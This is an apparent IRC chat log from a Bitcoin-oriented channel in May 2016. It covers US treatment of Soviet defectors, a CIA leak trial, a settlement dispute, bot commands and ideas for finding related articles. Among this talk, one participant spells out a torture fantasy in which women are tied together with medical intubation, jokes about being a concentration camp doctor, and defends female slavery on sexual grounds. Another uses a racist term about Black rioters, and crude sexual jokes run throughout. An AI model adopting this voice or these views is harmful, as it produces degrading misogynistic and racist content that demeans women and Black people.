1470804;1464016800;BingoBoingo;There's prolly a shed frull of cremains somewhere. 1470805;1464016803;mircea_popescu;infinite capacity means, first and foremost, an infinite capacity for erection. 1470806;1464016825;mircea_popescu;something very close to what tmsr demonstrates on a daily basis when "hey, here's a hole, who wants to fuck it" gets a hot rod ramming it within the day. 1470807;1464016841;mircea_popescu;asciilifeform the premise said "of infinite power". 1470808;1464016862;mircea_popescu;to imagine that a horse in the barn requires a man to steal, but the same horse out in the field "is not so strongly owned so even a toad could steal it" is nonsense. 1470809;1464016884;mircea_popescu;you're stealing the thing you're stealing, not its meaning to some arbitrarily chosen party. cunt is cunt and stays cunt, even if currently in a bored, tedious marriage. 1470810;1464016908;asciilifeform;i'd like to know where in usa is the horse. 1470811;1464016916;asciilifeform;i.e. the hidden, still-valuable thing worth taking. 1470812;1464016966;mircea_popescu;cunt. 1470813;1464016989;mircea_popescu;it's not hidden, and it's not valuable. it's just there. 1470814;1464017036;asciilifeform;i could even see cn 'we shall bulldoze north american for liebensraum!1111' or the like 1470815;1464017046;asciilifeform;but the contents ?! 1470816;1464017086;mircea_popescu;well, before buldozing you take the contents out right ? 1470817;1464017099;mircea_popescu;less opposition to buldozing an empty frame structure than a "our home". 1470818;1464017107;mircea_popescu;but the discussion mayn't reduce to this. mere lateral example. 1470819;1464017111;asciilifeform;whatever's worth taking before pounding flat 1470820;1464017122;mircea_popescu;no. whatever's perhaps meaningful to someone somewhere. 1470821;1464017140;mircea_popescu;there is no such thing as "worth" and "value" like you keep advancing them. there's only meaning. 1470822;1464017148;asciilifeform;the italian painting example actually rings a bell 1470823;1464017158;asciilifeform;recall usa pumping out the ru maths, physics, etc folks ? 1470824;1464017161;asciilifeform;for ~no good reason~ 1470825;1464017166;asciilifeform;just to set them up with taxi in nyc 1470826;1464017196;asciilifeform;i always saw it as a 'deny them to the enemy' thing but possibly it was really the italian thing ? 1470827;1464017198;mircea_popescu;value is merely an arbitrary, coincidental property of meaning. they stand in a relation similar to the relation the question "what;s the sun's value to us" stands with the question "what's the sun's meaning for us". 1470828;1464017232;mircea_popescu;asciilifeform i believe it was really the italian thing ; except in a larger system composed of (individual-su space) vs (individual-us space) 1470829;1464017241;asciilifeform;i was speaking of a very concrete notion of value - that is, to the taker 1470830;1464017256;asciilifeform;a meth-head who steals a broken alarm clock - to him it is valuable. 1470831;1464017261;mircea_popescu;ie, the INDIVIDUAL as a "us item", aspirationally ; denied the "su item" as a projection of his own, himself. 1470832;1464017343;asciilifeform;there is also 'steal first, fence later' 1470833;1464017358;mircea_popescu;yes, and that'd be the obviosu construction, but i'm unpersuaded. it dun fit. 1470834;1464017372;asciilifeform;it fit in a few cases known to me 1470835;1464017382;asciilifeform;(folks shipped over, milked for a spell of what they knew, then cut loose) 1470836;1464017440;shinohai;Get ready for chimpout as Officer Edward Nero din do nuffin' 1470837;1464017452;mircea_popescu;anyway, to make that obscurity clearer : sentence structure is agent - verb - object - 2nd object. agent denies to x y. the agent = the INDIVIDUAL as a "us item", aspirationally ; the verb = denied ; the object = himself. "the "su item" as a projection of his own" is a third party, 2nd object. 1470838;1464017542;asciilifeform;shinohai: wat 1470839;1464017566;mircea_popescu;asciilifeform understand that this image "emptied, cut loose" is entirely nonsensical. knowledge is not a substance to be filled with or emptied of. 1470840;1464017758;asciilifeform;'emptied', to somebody running agents, is sort of same as empty applied to bottle of vodka - yes, '40 drops rule', you can keep shaking it and get >0 output almost asymptotically infinitely - but at some point the expense of the effort is > yield 1470841;1464017801;BingoBoingo; shinohai: wat << Baltimore cop cleared of all charges. "Black Spring" incoming to James Lafond Presents Baltimore 1470842;1464017837;mircea_popescu;no, looky. if the case is that the knowledge vessel was a jwz, which is to say all juice no politics, then the truthful rendition of the situation is, that the knowledge in question was removed from its unstable situation, to a more sensible one. otherwise, if the vessel in question is a balanced construction, the attempts to "remove" run into the age old "nsa can't hold bitcoin and stay nsa" issue as discussed in the logs. 1470843;1464017871;mircea_popescu;now, i can appreciate you personally wish to look at things in this "management doesn't matter and doesn't exist, so no difference should be made between gasteropode and man", but this is really nonsense. there is such difference, and it's called a spine. 1470844;1464017878;asciilifeform;the example currently in my head is the ru nuke detonator bloke 1470845;1464017941;mircea_popescu;who ? 1470846;1464017969;asciilifeform;he is in the l0gz... 1470847;1464017971;asciilifeform;damn 1470848;1464017985;mircea_popescu;now so is she : http://67.media.tumblr.com/f9572b46436c5b017d74d800a261fda4/tumblr_mlf1themP61rw4i4so1_1280.jpg 1470849;1464017988;asciilifeform;the one sent to ir with doctored schematics, which he 'helpfully' fixed en route 1470850;1464018017;mircea_popescu;ah i recall this. ok, what of him ? 1470851;1464018120;asciilifeform;taken to usa, and milked, and eventually handlers concluded 'useless, what we have >= what he has, on all subj' 1470852;1464018132;mircea_popescu;so then what do oyu mean by "milked" ? 1470853;1464018138;mircea_popescu;"allowed to post on reddit all day for a spell" ? 1470854;1464018141;asciilifeform;he: 'i need a job' usg: 'you will be mule to ir' 1470855;1464018190;asciilifeform;iirc there was a specific report of what milking consisted of - he was sent to los alamos and asked to design detonator for nuke, and told that it would be tried, and had better be of quality 1470856;1464018206;mircea_popescu;ok... ? 1470857;1464018228;asciilifeform;and when he had done this, the result was judged and the milking deemed concluded. 1470858;1464018256;mircea_popescu;in the sense of, yet another dude that failed his job interview, notwithstanding that he came "highly qualified" and "he had bills to pay". that ? 1470859;1464018263;asciilifeform;aha! 1470860;1464018273;mircea_popescu;so how is this milking, and if it is who's milking whom. 1470861;1464018341;asciilifeform;well the interesting bit, iirc, is that it was not 'job interview' in the customary sense, usg had no intention of actually using the fella in the stated capacity, they simply wanted a plausible-looking piece of shit to 'hangout leak' to ir. so they took his, and munged the component values for good measure 1470862;1464018352;mircea_popescu;how do you know what intention employer had ? 1470863;1464018353;asciilifeform;and sent him (why? ask them , not me) to deliver the schems 1470864;1464018381;mircea_popescu;the courts of common pleas are full of this inept bullshit, usually dudette with absolutely nothing going for her argues that "company allowed her to interview to steal her ideas and give them to X team of theirs". 1470865;1464018392;asciilifeform;mircea_popescu: recall, this turned into a disastrous scandal, when (quite plausibly, and with much courtroom wankery to follow) was leaked. 1470866;1464018393;mircea_popescu;fortunatelly they moved on to "sexual soimething or the other" now. 1470867;1464018411;mircea_popescu;but the whole nonsense is wholly predicated on the inner self-representatons of an intellect divorced from reality for a long while. 1470868;1464018432;mircea_popescu;asciilifeform aha, how it usually works, the dudette then goes to the inept-woman-chorus and they wail for a while. 1470869;1464018438;mircea_popescu;at least until something happens on tv, or w/e. 1470870;1464018447;asciilifeform;recall, it was the opposite 1470871;1464018450;asciilifeform;(usg went to whine) 1470872;1464018461;mircea_popescu;hm ? 1470873;1464018474;*;asciilifeform digs futilely in l0gz for the story 1470874;1464018484;mircea_popescu;we might be tlking of diff guys. 1470875;1464018493;asciilifeform;the detonator guy 1470876;1464018494;mircea_popescu;these are the "partners" that went to russia in the end neh ? 1470877;1464018504;asciilifeform;neh, it was 1 guy 1470878;1464018508;mircea_popescu;hm. 1470879;1464018645;mircea_popescu;meanwhile, http://66.media.tumblr.com/d8e7df1dedc37017a0057f9527e0c556/tumblr_n1u6yuDsx21rmm9buo1_1280.jpg 1470880;1464018645;asciilifeform;http://btcbase.org/log/2015-01-29#997014 << thread. 1470881;1464018645;a111;Logged on 2015-01-29 06:08 asciilifeform: http://www.washingtonpost.com/local/crime/jurors-tell-judge-they-cant-agree-in-cia-leak-trial-of-jeffrey-sterling/2015/01/26/db819f78-a57c-11e4-a7c2-03d37af98440_story.html?tid=hybrid_alt1_strip_1 1470882;1464018653;asciilifeform;article concerned a 'leak trial' 1470883;1464018656;mircea_popescu;uh 1470884;1464018664;asciilifeform;and usg somehow forced to cough up exhibits of what was leaked 1470885;1464018682;mircea_popescu;iirc that was a conviction neh ? 1470886;1464018684;asciilifeform;^ whole thread under link. 1470887;1464018692;asciilifeform;iirc it was 1470888;1464018709;mircea_popescu;ah, i thought this was 70s, wtf 2015 recent events. 1470889;1464018717;mircea_popescu;i don't even count this sort of shit, for all you know it's a movie trailer. 1470890;1464018725;asciilifeform;the scam itself was circa '90s 1470891;1464018769;mircea_popescu;i recall now, the supposed.... whatever the fuck it was, bizarro clinton thing with iran. almost exactly the same quality of secret service work as the "saddam has wmds" thing. 1470892;1464018815;mircea_popescu;among other incredibly lulzy points : the guy's salary was ~60k a year. 1470893;1464018824;mircea_popescu;for a nuclear physicist risking his neck. fancy that! 1470894;1464018838;asciilifeform;orcs dun make market rate 1470895;1464018841;asciilifeform;why would they. 1470896;1464018846;mircea_popescu;eh gtfo. 1470897;1464018869;mircea_popescu;someone who has even an inkling of a chance of getting within 1% of succeeding here, doesn't need your piddly "what barrista makes" income. 1470898;1464018896;asciilifeform;plenty of ru defectors sold far bigger things for far less 1470899;1464018928;asciilifeform;what's the man gonna do if he decides 60k is chump change ? defect to zimbabwe instead ? 1470900;1464018933;mircea_popescu;dude. a) 2015 ; b) things, not own asshole ; c) you pay 60k a year you get exactly what you paid for, lmao. 1470901;1464018957;mircea_popescu;the whole idiocy of this construction - so the iranians were not going to compare the designs with other designs ? 1470902;1464018957;asciilifeform;mircea_popescu: if we're still speaking of the same man, the thing played out in 1990s 1470903;1464018962;mircea_popescu;i don't put any stock in this story. 1470904;1464018989;asciilifeform;mircea_popescu: usg has this 'orcs are dumb' thing going. and isn't even always wrong - e.g., winblowz at natanz centrifuge plant 1470905;1464019048;mircea_popescu;asciilifeform "operation merlin" was one of the countless usg ss blunders cca 1998 ; it actually did something cca 2001 ; described in a 2010 book, for which some black dude was sentenced to jail in 2015. 1470906;1464019066;asciilifeform;(or more recently, raghead general helpfully snapping selfie with ipnohe and uploading own coordinates to nsa) 1470907;1464019080;asciilifeform;mircea_popescu: aha, that 1470908;1464019085;mircea_popescu;these are unrelated matters. 1470909;1464019113;mircea_popescu;$google wen ho lee 1470910;1464019118;deedbot;https://en.wikipedia.org/wiki/Wen_Ho_Lee << Wen Ho Lee - Wikipedia, the free encyclopedia | http://www.wenholee.org/ << WenHoLee.org | | http://www.nytimes.com/2001/02/04/us/the-making-of-a-suspect-the-case-of-wen-ho-lee.html?pagewanted=all << The Making of a Suspect - The Case of Wen Ho Lee - NYTimes.com 1470911;1464019130;mircea_popescu;^ equally lulzy case. accused of things, govt failed to prove ; eventually they settled, guy got 1.6mn out of the deal. 1470912;1464019137;mircea_popescu;A LOT MORE than 50k a year. right ? 1470913;1464019171;asciilifeform;pretty much everyone knows of wen ho lee 1470914;1464019175;mircea_popescu;incidentally, J.A. Parker's apology / trashing of the da should be mandatory reading for anyone on this "usg can do things in its own courts" tack. 1470915;1464019258;asciilifeform;http://www.wenholee.org << l0l!!! 1470916;1464019263;*;asciilifeform had nfi this existed 1470917;1464019268;mircea_popescu;heh. 1470918;1464019307;mircea_popescu;"everyone knows" etc. anyway : the sterling dude had his discrimination suit thrown out of court because "sikrits". much more interesting angle than all the rest - where's the limit of "human rights" ? 1470919;1464019320;mircea_popescu;ie, what if the black dude were a white blond girl claiming rape ? 1470920;1464019341;asciilifeform;well recall, i recently learned that nsa has blanket license to piss on 'equal employment' crapolade 1470921;1464019358;mircea_popescu;this is prollypart of why 1470922;1464019363;asciilifeform;sikrits works great 1470923;1464019367;asciilifeform;for this. 1470924;1464019468;mircea_popescu;anyway, i feel dumber for having dug up into the unfunny pit of usg-ian unintentional comedy. was there a point to this excursion ? 1470925;1464019486;asciilifeform;was re 'stealing people for the sake of stealing' 1470926;1464019492;asciilifeform;or somethinglikethat 1470927;1464019509;mircea_popescu;i lend no credence to the theory. 1470928;1464019630;asciilifeform;alternative would be what..? that everyone was stolen with a clear purpose ? 1470929;1464019691;mircea_popescu;look - the blunders of usg post taliban beheading in 2001 are not more meaningful nor worthy of investigation in the direct sense than the movement of a salted snail. so i don't admit that whatever post 2001 example of behaviour or anecdotal poit of evidence may be used as part of a larger construction of ideas. 1470930;1464019721;mircea_popescu;and on the other hand, i don't admit that 'stealing people for the sake of stealing', whatever may mean, is either related to what we were discussing or a useful method to approach the subject matter we were discussing. 1470931;1464019728;asciilifeform;collecting su defectors was very much a pre-2001 thing 1470932;1464019758;mircea_popescu;my thinking is that this is a passive thing - the usg wasn't collecting them more than the sewer collects pearl necklaces. 1470933;1464019762;mircea_popescu;the us was just there. 1470934;1464019767;asciilifeform;and i have nfi what the motivation for vacuuming up most of the relevant folk, was. my entire point was that the motivation remains, to me, a mystery. 1470935;1464019787;mircea_popescu;the collecting of defectors, as a perceived phenomena, is imo best explained by the internal duality of the very defectors in question, fighting with their own demons. 1470936;1464019808;asciilifeform;this, doubtlessly 1470937;1464019826;asciilifeform;is the only ~reasonable hypothesis i know of for most of it. 1470938;1464019847;mircea_popescu;hence http://btcbase.org/log/2016-05-23#1470831 1470939;1464019847;a111;Logged on 2016-05-23 15:27 mircea_popescu: ie, the INDIVIDUAL as a "us item", aspirationally ; denied the "su item" as a projection of his own, himself. 1470940;1464019882;mircea_popescu;no recognizable "us" exists in the process, except if one's so culturally acclimated in the 1990s su mentality as to be able to reconstruct the world in their eyes. 1470941;1464019994;asciilifeform;hirin' folx away in order to kill something is very much a thing that exists, tho. consider what, e.g., microshit, did to borland. 1470942;1464020056;mircea_popescu;surely ; but you know what trotsky tried to do to whatever party ? 1470943;1464020102;mircea_popescu;there is this derpy episode when he wrote to some french wing to dissolve and go join whatever local socialists ; the plan "succeeded" because they were kicked out but when they got kicked out there were 300 of them, so SICK GAINZ! 1470944;1464020108;asciilifeform;obviously the larger snake eats the smaller, not vice versa 1470945;1464020120;mircea_popescu;the larger cow also eats the prions. 1470946;1464020128;asciilifeform;sure. 1470947;1464020134;mircea_popescu;this first level, mechanical approach to things isn't going to yield much. 1470948;1464020143;mircea_popescu;do you know how many girls ate me to date ? 1470949;1464020168;mircea_popescu;btw, do you know the joke with the angora rabbit at the brothel ? 1470950;1464020177;asciilifeform;hm? 1470951;1464020199;mircea_popescu;angora rabbit goes to brothel. he asks for a blowjob 1470952;1464020203;mircea_popescu;from a boa constrictor. 1470953;1464020215;mircea_popescu;so first borthel is like gtfo, it'll eat you and who's gonna pay ? 1470954;1464020235;mircea_popescu;eventually he finds some people willing to do it. so they put the little rabbit in a room with this eighteen foot monster of a snake 1470955;1464020240;mircea_popescu;which proceeds to swallow it hole. 1470956;1464020257;mircea_popescu;but fucking angora rabbit you know, all that fur, doesn't sit well with the snake 1470957;1464020280;mircea_popescu;so moments later the boa spits it out, and the rabbit goes flying over a large arc quarter mile wide 1470958;1464020303;mircea_popescu;and as he's hurling through the air, his doppler-effected voice can be heard going "now that's what i caaall a blooowjoooobbbb" 1470959;1464020311;asciilifeform;l0l! 1470960;1464020594;mircea_popescu;and in other mechanic's news, http://67.media.tumblr.com/tumblr_m9mojeF5Nt1qmqccso1_1280.jpg 1470961;1464020622;asciilifeform;^ glorious 1470962;1464020728;mircea_popescu;if porn weren't so fucking dead, i might be making some avantgarde anatomy explorations. such as the female stairwell. 1470963;1464020769;asciilifeform;stairwell? 1470964;1464020780;mircea_popescu;(tie womenz to stairwell, connect one's urethral intubation to the one below's laringeal intubation. pour cider in the mouthpipe of the topmost one) 1470965;1464020793;asciilifeform;ah hm 1470966;1464020801;asciilifeform;as per 'human centipede' 1470967;1464020819;mircea_popescu;measure creatinine clearance per intervals, send for publication to medical journals. 1470968;1464020826;asciilifeform;gandhi's zombie approves 1470969;1464020843;mircea_popescu;and yes, would work with colon hydration also. 1470970;1464020856;asciilifeform;$s morarji cola 1470971;1464020861;asciilifeform;damn 1470972;1464020866;asciilifeform;;;google morarji cola 1470973;1464020867;gribble;Error: We broke The Google! 1470974;1464020873;asciilifeform;wtf 1470975;1464020882;mircea_popescu;actually i suppose one should be a darling and a) add VR headests to the girls and b) add lsd at the top. 1470976;1464020902;asciilifeform;what'll the headsets do 1470977;1464020909;mircea_popescu;then you could do various brainscan-to-vr combinations, and publish as "artificial intelligence" also 1470978;1464020926;asciilifeform;more interesting than ~100% of modern day academe. 1470979;1464020928;mircea_popescu;asciilifeform im thinking bayesian "rule system" / markov chains based off the next girl's brain wavery./ 1470980;1464020933;mircea_popescu;ikr. 1470981;1464020950;mircea_popescu;i'd make a pretty decent concentration camp doctor. 1470982;1464020969;mircea_popescu;i suppose in a sense i already DO make a ... hm... 1470983;1464020976;asciilifeform;lelz 1470984;1464020980;mircea_popescu;nuts. 1470985;1464020996;asciilifeform;speaking of, if i lived in s america, i would definitely try to at least sneak a peek at the german villages 1470986;1464021000;asciilifeform;has mircea_popescu ? 1470987;1464021011;mircea_popescu;nope. and they also have german villages in romania, fwiw. 1470988;1464021026;asciilifeform;in ro they aren't a '40s creation are they 1470989;1464021034;mircea_popescu;1740. 1470990;1464021037;asciilifeform;aha like in ru 1470991;1464021051;mircea_popescu;just about ya 1470992;1464021055;asciilifeform;we are thinking of diff germans. 1470993;1464021061;mircea_popescu;is there such a thing ? 1470994;1464021082;asciilifeform;in south a, they are presumably descendants of ww2 folx 1470995;1464021088;mircea_popescu;eh. 1470996;1464021124;mircea_popescu;and the people in cincinnati are descendents of the roman republic. 1470997;1464021169;mircea_popescu;fun fact : there was such a thing as "transylvania" in the old us ; attested for instance in the "transylvania purchase". 1470998;1464021198;asciilifeform;there is a rome and even odessa in usa. 1470999;1464021200;asciilifeform;what of these. 1471000;1464021216;mircea_popescu;~same relation i'd say. 1471001;1464021451;mircea_popescu;;;seen adlai 1471002;1464021451;gribble;adlai was last seen in #trilema 3 weeks, 0 days, 7 hours, 16 minutes, and 51 seconds ago: either 60 "random" words have nothing to do with my life, or my basal ganglia are still swimming in lsd. 1471003;1464021466;mircea_popescu;was that fellow actually under psychiatric treatment etc ? 1471004;1464021516;asciilifeform;he got checked into asylum 2nd time 'properly' iirc. 1471005;1464021574;mircea_popescu;nuts. 1471006;1464021971;BingoBoingo;;;ticker --market all 1471007;1464021979;gribble;Bitstamp BTCUSD last: 441.94, vol: 3410.56096264 | BTC-E BTCUSD last: 443.512, vol: 7262.61157 | Bitfinex BTCUSD last: 441.5, vol: 8813.625408669999 | BTCChina BTCUSD last: 447.572748, vol: 20098.54120000 | Kraken BTCUSD last: 441.72, vol: 3618.27114458 | Bitcoin-Central BTCUSD last: 444.649821, vol: 47.59460491 | Volume-weighted last average: 444.716380484 1471008;1464022011;BingoBoingo;http://oglaf.com/offering/ 1471009;1464022072;mircea_popescu;oh boy, that 2nd panel ? totally. my currenlty favourite fucking position. 1471010;1464022078;mircea_popescu;"grab your ankles" 1471011;1464031259;shinohai;From node logs >>> /SatoshisBitcoinFullFork_PublicTest_At403562:0.11.2/ │ ec2-52-26-216-37.us-west-2.compute.amazonaws.com (52.26.216.37) 1471012;1464031277;asciilifeform;shinohai: old nyooz 1471013;1464031288;asciilifeform;shinohai: i suspect it was the craig whateverthefuck phork 1471014;1464031322;shinohai;I just haen't seen it pop up in a long time 1471015;1464032481;deedbot;[» Contravex: A blog by Pete Dushenski] Beech. - http://www.contravex.com/2016/05/23/beech/ 1471016;1464032965;solrodar;$unrate mircea_popescu 1471017;1464032966;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/f623b9ff-468f-4d71-acbc-8cbe60795ed3/ 1471018;1464032993;solrodar;$v 01425D8479D4F3408FE4D359CAD07A0FA5C8057E90A196D3368974FF961E26BF 1471019;1464032994;deedbot;solrodar unrated mircea_popescu. 1471020;1464033285;asciilifeform;solrodar: gonna send back the prize money ? 1471021;1464033349;solrodar;prize? that was payment for work performed. 1471022;1464033389;solrodar;and more significantly, the guy made me think about new things for a year or so 1471023;1464033414;solrodar;which is why I'm not rating negatively 1471024;1464039953;mircea_popescu;lol wut. 1471025;1464039965;asciilifeform;mircea_popescu: output of massive wank on old #ba 1471026;1464039974;mircea_popescu;ah. w/e. 1471027;1464039991;asciilifeform;safe to sleep through. 1471028;1464040028;asciilifeform;kako's become ~indistinguishable from artful usg agent. 1471029;1464040049;asciilifeform;worked hard to put his face in front of mircea_popescu's fist, and now 'aggrieved victim' 1471030;1464040064;mircea_popescu;i'm trying to recall who the guy is/was. 1471031;1464040082;asciilifeform;i thought mircea_popescu didn't drink vodka 1471032;1464040118;mircea_popescu;ah ah with the callgraph stuff. ie what phf ended up doing himself ? 1471033;1464040129;asciilifeform;nope 1471034;1464040136;asciilifeform;it was the trb source callgraph 1471035;1464040141;asciilifeform;with the function flow 1471036;1464040144;mircea_popescu;ah right. 1471037;1464040150;asciilifeform;solrodar produced it, but it was unreadable 1471038;1464040164;mircea_popescu;well whatever, outreach doesn't ALWAYS work. 1471039;1464040167;asciilifeform;i proclaimed that it is not his fault tho, and that the graph is an intrinsic ball of yarn. 1471040;1464040177;mircea_popescu;yes i recall. 1471041;1464040187;asciilifeform;then he mostly vanished until the bbet warz. 1471042;1464040516;asciilifeform;i still wish i knew why mircea_popescu gave kakobrekla a claw hammer with which the latter will work for years trying to pry off anything insufficiently nailed down in tmsr. 1471043;1464040546;asciilifeform;imho it was a bad move. 1471044;1464040572;asciilifeform;could have just as easily sent the man off with the coin but no hammer. 1471045;1464040574;mircea_popescu;eh, it's the nature of the job, let the man work himself sore. gotta earn one's keep for once in his fucking life neh ? 1471046;1464040594;mircea_popescu;go around derping, who knows, maybe someone buys it. and if they do - all the better, for everyone involved. 1471047;1464040608;mircea_popescu;why should i want the esteem of "the general public" / solrodar / whatever. 1471048;1464040623;asciilifeform;mircea_popescu: respectable folk are quietly asking, 'why did he do it' 1471049;1464040750;mircea_popescu;same reason bartender eventually goes "you're drunk, go home". 1471050;1464040766;mircea_popescu;what, "oh no, someone bought me a drink here once, i now own the place" or somesuch ? 1471051;1464040776;asciilifeform;bartender doesn't normally send drunk home without his moneyz ? 1471052;1464040791;mircea_popescu;the drunk's claims as to "his moneys" are of interest perhaps to the other drunks. 1471053;1464040850;asciilifeform;fella's been sayin', to anyone who will listen, that he did not get what was owed to him by contract. 1471054;1464040858;mircea_popescu;but anyway, in general and unrelatedly, this consumerist notion that "oh, i have rights" has very little weight in wot terms. shit in your relationships, good luck with your "rights". 1471055;1464040889;mircea_popescu;fella has been saying versions of this since february, and got shown to have actually lied in the discovery process, to the syndic, for a profit motive. 1471056;1464040889;asciilifeform;that was my reading thus far. fist, face. 1471057;1464040899;asciilifeform;where was this 1471058;1464040901;asciilifeform;i missed ? 1471059;1464040924;mircea_popescu;well yes, you missed. because when a shithead tries to steal from me it's not news. but when a shithead lies about the reverse, your ears perk up. 1471060;1464040945;mircea_popescu;anyway, it's public, review the process to your satisfaction. 1471061;1464040953;asciilifeform;http://fr.anco.is/2016/bitbet-proposed-settlement-transaction << this one ? 1471062;1464040979;mircea_popescu;among others, the one where he wanted to get the proceeds of the house bets as free money. 1471063;1464040989;asciilifeform;hm 1471064;1464040991;mircea_popescu;but in general, the whole fucking exercise was a lengthy, tedious story of "gimme". 1471065;1464040991;*;asciilifeform digs. 1471066;1464041011;asciilifeform;i thought kako was sitting on a tall pile of earlyadoptronium and didn't need moneyz 1471067;1464041028;mircea_popescu;whatever. 1471068;1464041810;mircea_popescu;in other lolz, https://www.youtube.com/watch?v=RIclidm9nug 1471069;1464045458;deedbot;[Trilema] Tropic Thunder - http://trilema.com/2016/tropic-thunder/ 1471070;1464049981;mircea_popescu;hey mike_c what's the outlook on btcalpha update ? 1471071;1464050070;shinohai;;;later tell BingoBoingo http://ix.io/Ky9 may need lots of work though, send back for rewrite if necessary 1471072;1464050072;gribble;The operation succeeded. 1471073;1464056878;asciilifeform;;;later tell BingoBoingo lulzy, https://www.ebay.com/itm/191863243899 1471074;1464056878;gribble;The operation succeeded. 1471075;1464056998;asciilifeform;^ sorta how i imagine mircea_popescu's pgp laptop to look like. 1471076;1464057009;BingoBoingo;shinohai: rewrite, add links to prior qntra 1471077;1464057459;BingoBoingo;$up funkenstein_ 1471078;1464057461;deedbot;funkenstein_ voiced for 30 minutes. 1471079;1464057872;BingoBoingo;Ah, the news I was waiting for http://www.jameslafond.com/article.php?id=4462 1471080;1464058162;BingoBoingo;;;bc,stats 1471081;1464058166;gribble;Current Blocks: 413163 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 116 blocks | Next Difficulty In About: 16 hours, 34 minutes, and 17 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1471082;1464058228;funkenstein_;ty BingoBoingo 1471083;1464058291;funkenstein_;mircea_popescu: http://dpaste.com/034JCC9 1471084;1464058329;asciilifeform;l0l! cop didn't even shoot this one... 1471085;1464058359;BingoBoingo;notable: bench trial! 1471086;1464058522;funkenstein_;Lafond: "who cares about the details of the case, lets discuss the melination of those involved" 1471087;1464058646;funkenstein_;"Nero is white and Porter is black. " <-- they reference no measurements of epidermal albedo. how disappointing, we find that such an important detail 1471088;1464058696;asciilifeform;BingoBoingo: re earlier link, http://www.oldcomputers.net/grid1101.html 1471089;1464058720;deedbot;[» Contravex: A blog by Pete Dushenski] Wrip Wrap. - http://www.contravex.com/2016/05/23/wrip-wrap/ 1471090;1464058735;mod6;sup 1471091;1464059061;BingoBoingo;asciilifeform: Sweet 1471092;1464062240;BingoBoingo;https://archive.is/48QZf 1471093;1464063237;mod6;well, I've got tbot now checking if a person is in L1, and if they are currently voiced before it'll answer commands: http://dpaste.com/3GA9QJJ.txt 1471094;1464063241;mod6;so that's a start 1471095;1464086938;shinohai;http://btcbase.org/log/2016-05-24#1471093 <<< nifty ping me plox if you are testing later 1471096;1464086938;a111;Logged on 2016-05-24 04:13 mod6: well, I've got tbot now checking if a person is in L1, and if they are currently voiced before it'll answer commands: http://dpaste.com/3GA9QJJ.txt 1471097;1464089043;shinohai;http://btcbase.org/log/2016-05-24#1471076 <<< Will do in a bit, wrote last night before bed so .... 1471098;1464089043;a111;Logged on 2016-05-24 02:30 BingoBoingo: shinohai: rewrite, add links to prior qntra 1471099;1464089122;mircea_popescu;;;later tell funkenstein_ plox liquidate and send proceeds - your fee to 1JPvucRfu3ZzEvfBUQTJwsxMrZjeTqD6zR thanks. 1471100;1464089122;gribble;The operation succeeded. 1471101;1464089149;mircea_popescu;so here's a question/job for any ai/machine reading afficionados : 1471102;1464089186;mircea_popescu;currently, trilema title redirects one if clicked ot a random (english language) article. what i'd want it to do is to redirect one to a randomly chosen ~related~ article. 1471103;1464089204;mircea_popescu;how do you establish relatedness of texts 500-1k words long out of a list of thousands ? 1471104;1464089261;mircea_popescu;an' in morning news, http://67.media.tumblr.com/6e4945b5fcff01f31591c2c1e1229015/tumblr_mxeqm89D5p1s7wncoo1_500.gif 1471105;1464089422;mircea_popescu;http://btcbase.org/log/2016-05-24#1471087 << this isn't even an idle consideration as all that. 1471106;1464089422;a111;Logged on 2016-05-24 02:57 funkenstein_: "Nero is white and Porter is black. " <-- they reference no measurements of epidermal albedo. how disappointing, we find that such an important detail 1471107;1464089470;mircea_popescu;a large factor that collapsed "the quaint institution" (from the pov of the insiders, mind, who cares what foreigners think) was the sheer inability of distinguishing at the edges. "why is this white man black ?" "book sez so" 1471108;1464089611;mircea_popescu;generally, linking societal preeminence to phenotype has the major disadvantage that men (and no, NOT women, as the claim is currently fashionable among wanna-be republicans without the republic) broadly prefer to fuck socially inferior women. 1471109;1464089614;Framedragger;mircea_popescu: friend actually wrote is masters thesis on this iirc (not that you care about appeals to bureaucracy, i know) on this, i can later check for linx. new shit in town is compositional distributional models of semantics. see http://www.cs.ox.ac.uk/activities/compdistmeaning/ - also i can dig up our application for funding for doing what you want to do i think :D 1471110;1464089627;mircea_popescu;in fact the historical justification for broad female slavery is that the sex is better that way. 1471111;1464089650;mircea_popescu;Framedragger ehehehe i'd read what you dig up, so by all means. 1471112;1464089721;Framedragger;lol @ title on that cs.ox page "meets quantum info flow".. it's just that they use cool shit from category theory, tensors, etc.. but need to be careful not to be drawn into believing a priori what the people in the tower say 1471113;1464089738;mircea_popescu;wtf is with this "quantum" shit anyway. 1471114;1464089743;mircea_popescu;us stem edu went to udder crap. 1471115;1464089760;mircea_popescu;QUANTUM JUST MEANS DISCRETE MOTHERFUCKERS! 1471116;1464089769;Framedragger;dis not US (well but effectively US, yea) 1471117;1464089771;mircea_popescu;damned town population is a QUANTUM VARIABLE! 1471118;1464089792;mircea_popescu;uuuuu "i fucking love science, look at all deze galaxy catpictures" 1471119;1464089797;mircea_popescu;idiots. 1471120;1464089871;mircea_popescu;wtf is "quantum info flow" supposed to even be ? what random exotic property of subatomic scale did they arbitrarily decide to use the wrong word for ? is it lorenzian flow, ie, if you face it head on you discover there's really not that much, for it somehow contracts, whereas from aside it seemed like there's a lot ? i noticed this property! 1471121;1464089910;Framedragger;some time ago upon enquiring on his work i was told to read http://anthology.aclweb.org/J/J15/J15-1004.pdf and http://nlp.stanford.edu/projects/natlog.shtml but i can't recommend in good faith, for i haven't read myself. nevertheless should be relevant stuff. but not at implementation-ready-to-use-level... 1471122;1464089933;mircea_popescu;or maybe it's schroedingerian flow, ie, it's only there if you don't look. like social media utility. 1471123;1464089952;mircea_popescu;or maybe something something relativistic something ? another word they raped with the flaming globes of zigmund. 1471124;1464089981;mircea_popescu;Framedragger ima skip the pdf for want of a blowtorch, but lessee the other. 1471125;1464090051;mircea_popescu;(ftr my idea was to enumerate all words that appear more than once less than a dozen times in the whole article body, then consider "related" articles which diverge from the average in the same way on the same words, with arbitrary cut-offs. none of which is anything but 1800 tech) 1471126;1464090087;mircea_popescu;Framedragger omfg tell your friend to not use dead three letters, such as "NLP" in grant applications. suicide pact what. 1471127;1464090113;mircea_popescu;check this shit out omg, they're "taking it back" http://nlp.stanford.edu/static/img/logos/nlp-logo-small.gif 1471128;1464090149;Framedragger;heheh.. natural language folks actually employ NLP all the time, though it's become a bit of a catch-all shitty acronym, like A.I. 1471129;1464090151;mircea_popescu;mandatory 